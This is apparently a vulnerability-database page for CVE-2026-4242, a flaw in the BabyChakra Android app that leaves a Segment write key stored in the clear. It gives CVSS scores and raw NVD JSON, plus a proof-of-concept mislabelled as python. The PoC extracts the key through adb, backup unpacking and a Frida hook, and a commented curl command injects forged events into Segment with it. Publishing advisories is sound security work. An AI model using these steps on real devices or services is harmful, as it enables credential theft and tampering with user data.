Security Vulnerability Report
中文
CVE-2026-4242 CVSS 2.5 LOW

CVE-2026-4242

Published: 2026-03-16 15:16:27
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in BabyChakra Pregnancy & Parenting App up to 5.4.3.0 on Android. This affects an unknown function of the file file app/babychakra/babychakra/Configuration.java of the component app.babychakra.babychakra. Performing a manipulation of the argument SEGMENT_WRITE_KEY results in unprotected storage of credentials. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitability is reported as difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
2.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

BabyChakra Pregnancy & Parenting App (Android) <= 5.4.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2026-4242 PoC - BabyChakra SEGMENT_WRITE_KEY Extraction # This PoC demonstrates how to extract the exposed SEGMENT_WRITE_KEY from BabyChakra app # Method 1: If device is rooted, extract from SharedPreferences adb shell su cd /data/data/com.babychakra.app/shared_prefs/ cat *.xml | grep -i "SEGMENT_WRITE_KEY" # Method 2: Using adb backup (for non-rooted devices) adb backup -f babychakra_backup.ab com.babychakra.app # Then use Android Backup Extractor to parse the .ab file java -jar abe.jar unpack babychakra_backup.ab babychakra_backup.tar tar -xf babychakra_backup.tar cat shared_prefs/*.xml | grep -i "SEGMENT_WRITE_KEY" # Method 3: Using frida to hook the Configuration class frida -U -f com.babychakra.app -l exploit.js # exploit.js content: /* Java.perform(function() { var Configuration = Java.use('app.babychakra.babychakra.Configuration'); Configuration.getSEGMENT_WRITE_KEY.implementation = function() { var key = this.getSEGMENT_WRITE_KEY(); console.log('[+] SEGMENT_WRITE_KEY:', key); return key; }; }); */ # After obtaining the key, data injection can be performed: # curl -X POST -H "Authorization: Basic <base64(write_key:)>" \ # -d '{"batch":[{"userId":"attacker","event":"test","timestamp":1234567890}]}' \ # https://api.segment.io/v1/batch

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4242", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:26.717", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in BabyChakra Pregnancy & Parenting App up to 5.4.3.0 on Android. This affects an unknown function of the file file app/babychakra/babychakra/Configuration.java of the component app.babychakra.babychakra. Performing a manipulation of the argument SEGMENT_WRITE_KEY results in unprotected storage of credentials. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitability is reported as difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha descubierto una falla de seguridad en la aplicación BabyChakra Pregnancy &amp; Parenting App hasta la versión 5.4.3.0 en Android. Esto afecta una función desconocida del archivo app/babychakra/babychakra/Configuration.java del componente app.babychakra.babychakra. Realizar una manipulación del argumento SEGMENT_WRITE_KEY resulta en un almacenamiento no protegido de credenciales. El ataque debe abordarse localmente. La complejidad de un ataque es bastante alta. La explotabilidad se reporta como difícil. El exploit ha sido liberado al público y puede ser utilizado para ataques. El proveedor fue contactado con antelación sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:P/I:N/A:N", "baseScore": 1.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 1.5, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-255"}, {"lang": "en", "value": "CWE-256"}]}], "references": [{"url": "https://vuldb.com/?ctiid.351184", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351184", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.771429", "source": "[email protected]"}, {"url": "https://www.notion.so/Segment-Write-Key-Exposure-Leading-to-Data-Injection-and-User-Profile-Manipulation-In-app-babychakra-3192de3f97fb8084b6b5cb06f96cdf57?source=copy_link", "source": "[email protected]"}]}}